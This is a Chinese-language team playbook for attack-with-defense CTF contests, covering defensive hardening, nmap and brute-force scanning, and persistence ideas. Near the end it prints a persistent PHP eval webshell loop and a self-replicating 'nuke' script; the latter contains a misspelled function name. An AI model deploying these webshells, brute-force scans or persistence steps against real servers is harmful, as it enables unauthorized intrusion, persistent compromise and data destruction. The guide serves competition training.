**理想队伍分工：**

攻击手（熟悉web漏洞，会代码审计）

防御手（熟悉运维知识，linux配置，waf，数据库）

编程手（前期关注官方消息，有组织领导能力，熟悉py编程，快速编写代码）

**攻击手（熟悉web漏洞，会代码审计）**

##################################################################################################################

1.页面登录账户密码弱口令,修改自己的，迅速修改他人的密码，自己和别人的密码的最好不要相同）

**发现可以修改弱密码后，和编程手一起**

2.确认web的容器与脚本信息，有没有一些流行的CMS框架，这些CMS是否有公开的漏洞？是否能getshell？利用？（火狐插件+百度）

a.未知其他人端口与ip要迅速扫描,主机发现（nmap，扫描脚本，扫描软件）确定了对方的ip+端口

nmap扫描端口使和用对应的一些脚本进行扫描

nmap -T5 -A //全面而快速的扫描

nmap --script=vuln //扫描一些常规的漏洞

nmap --script=brute //对一些服务进行弱口令爆破

nmap -sC //，主要是搜集各种应用服务的信息，收集到后，可再针对具体服务进行攻击

nmap --script http\* //对http进行扫描

b.黑盒寻找页面上的漏洞，注入，上传。。。。

c.对一些中间件进行漏洞搜索利用：searchsploit FTP

d.对一些服务进行爆破，hydra，metasploit 包括 md5、爆破随机数、验证码识别等

**黑盒找不到思路，接到防御手的源码**

f.代码审计

sql注入文件读取 写shell

反序列化导致代码执行

命令执行 代码执行

文件包含

SSRF

文件上传等

几乎所有能够导致文件读取、远程访问flag的漏洞都会涉及到

要求我们提高自己的代码审计能力在比赛有限的时间里能够快速发现相关漏洞给自己打上补丁并进行批量利用

**防御手（熟悉运维知识，linux配置，waf，数据库）**

##################################################################################################################

初始SSH密码相同（同攻击，修改密码）

登上ssh后关注弱口令

ftp mysql ssh等

注意发现和修改利用ssh ftp mysql默认密码

**发现可以修改弱密码后，和编程手一起**

a.备份Web目录 备份数据库(/var/www/html)

比赛开始后第一时间备份服务器中web目录下的文件和数据库，这是自我审计的基础，也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供恢复初始设置的机会，有的比赛不提供，所以备份十分重要。

b.修改配置文件，删除不必要的服务，命令别名防御(更改命令的名字)

rsync samba redis rlogin nfs 中间件等，防御添加认证或者直接kill存在漏洞的进程（如果有权限的话）

mysql关闭远程访问，收回mysql用户的file权限防止mysql写shell和读取文件

关闭crontab服务 防止被写计划任务（如果有权限的话）

检查.ssh目录 注意是否被写入公钥

修改php apache配置文件 禁止特定函数可以有效防止命令执行代码执行漏洞（有权限的话）

关闭远程文件包含 设定包含范围 防止文件包含漏洞读取flag

禁用掉相关协议 防止SSRF攻击扩大化

d.注意/etc/passwd 发现可疑用户

e.上waf,查log

(Waf可以有效阻断各种Web攻击行为，Log日志记录可以查看自己被攻击时的攻击流量做到分析加固再利用

需要注意的是，部署Waf可能会导致服务不可用，需要谨慎部署。)

f.搭建进程网络监控，运行访问记录脚本

随时注意可疑进程

熟练使用iptables

g.文件监控 权限修改

chmod chattr等命令修改Web文件权限或者使用文件监控脚本随时注意文件的变化 防止文件上传漏洞同时也要注意保持checker的成功上传

在文件上传目录进行文件监控，一有文件直接删除，或者将文件上传的目录设置为000权限，chmod -R 000 uploadfile

**编程手（前期关注官方消息，有组织领导能力，熟悉py编程，快速编写代码）**

##################################################################################################################

a.随时关注官方消息,配合攻击和防御，提高他们的效率

b.拿到源码进行D盾扫描（寻找官方留好的后门）

c.系统端口渗透：使用netstat ps命令获取Gamebox上的端口服务开启情况 排除系统端口方面的漏洞

d.代码审计，自动化脚本修改，编写（做payload的混淆，防止被人流量重放）

一些思路：（如何搅屎）

**我方界面：**

1.改为静态页面

2.删漏洞页面：大部分举办方还是会明确禁止删除网站的，通常赛组会定期访问网站主页（一般来说），从而确定网站是否正常运行。其实我们没必要删除整个网站，只要删掉有漏洞的页面就行了，比如删后台登录页面、注册页面、上传页面等等。

3. 破坏正常功能：如果明确不能删除任何页面，可以选择让这些漏洞点的功能函数（或者其依赖的功能函数）失效。比如上传点，如果考虑过滤挺麻烦，又不能删页面，那么我们可以找到这个漏洞网页，改掉或者删掉文件里对应的类似upload等这种功能调用函数。

上面这三种其实都算不上修补漏洞了，真实环境下哪能这么干。

4. 采用正常修补手段：规则限定很严的情况下，我们还是采用正常手法吧，修改服务配置、安装补丁、下载更新的软件版本、加过滤等等。

**我方服务器：**

修改文件名，修改命令名

**敌方界面：**

**敌方服务器端：**

内存shell

shell防骑：

1.MD5shell 2.远程ip认证 3.需要配置菜刀客户端

删除数据库

删除关键文件

利用别人shell

删除对手shell

crontab计划任务

新建用户（有权限的话）

.ssh目录写公钥（有权限的话）

假的flag文件

**黑盒的一些思路：**

1.找CMS的漏洞或一些普遍存在的漏洞，后台弱口令

SQL注入，命令注入，任意文件上传，XXE注入，条件竞争，解析漏洞

反序列化漏洞，XSS，文件包含，SSRF，源码泄露，逻辑错误

2.快速查看目录，是否有信息泄漏，和敏感文件

**权限维持的思路：**

1.当getshell到后该怎么办，创建多几个后门，隐藏后门，放个不死马

<?php

set\_time\_limit(0);

ignore\_user\_abort(1);

unlink(\_\_FILE\_\_);

//file\_put\_contents(\_\_FILE\_\_,'');

while(1){

file\_put\_contents('path/webshell.php','<?php @eval($\_POST["password"]);?>');

}

?>

2.搅屎核弹

<?php

set\_time\_limit(0);

ignore\_user\_abort(true);

while(1){

file\_put\_contents(randstr().'.php',file\_get\_content(\_\_FILE\_\_));

file\_get\_contents("http://127.0.0.1/");

}

?>

详细文章：https://www.freebuf.com/articles/web/118149.html

**比赛中获取flag一般有两种模式：**

\* flag在靶机根目录或家目录下，读取flag内容，提交即可得分

\* 拿到其他队伍shell后，执行指定命令（curl 10.0.0.2），即可从上图中flag机获取flag内容

文章推荐

1.提权+防御 <https://blog.csdn.net/yatere/article/details/78861004>

2.在awd攻防中搅出屎：https://www.freebuf.com/articles/web/118149.html

3.awd攻防总结：https://xz.aliyun.com/t/25

4.Linux通过可写文件获取root权限:http://www.hackingarticles.in/multiple-ways-to-get-root-through-writable-file/

5.LInux内核查询提权：https://github.com/SecWiki/linux-kernel-exploits/blob/master/README.md

6.Linux后渗透权限指南：https://gtfobins.github.io/

7.AWD流量混淆之道：<https://cloud.tencent.com/developer/news/321173>

8.经典的 Fork 炸弹解析：<http://blog.jobbole.com/111319/?tdsourcetag=s_pctim_aiomsg>

9.博客：<http://www.hackingarticles.in/category/penetration-testing/>

10.Linux绕过本地安全策略防御:

<https://422926799.github.io/2018/11/03/Linux%E7%BB%95%E8%BF%87%E6%9C%AC%E5%9C%B0%E5%AE%89%E5%85%A8%E7%AD%96%E7%95%A5%E9%98%B2%E5%BE%A1/>

11.RCE通过上传web.config：https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/

12.专门Linux提权的github项目：<https://gtfobins.github.io/>

13.Linux提权：从入门到放弃 <https://www.cnblogs.com/hookjoy/p/6612595.html?tdsourcetag=s_pctim_aiomsg>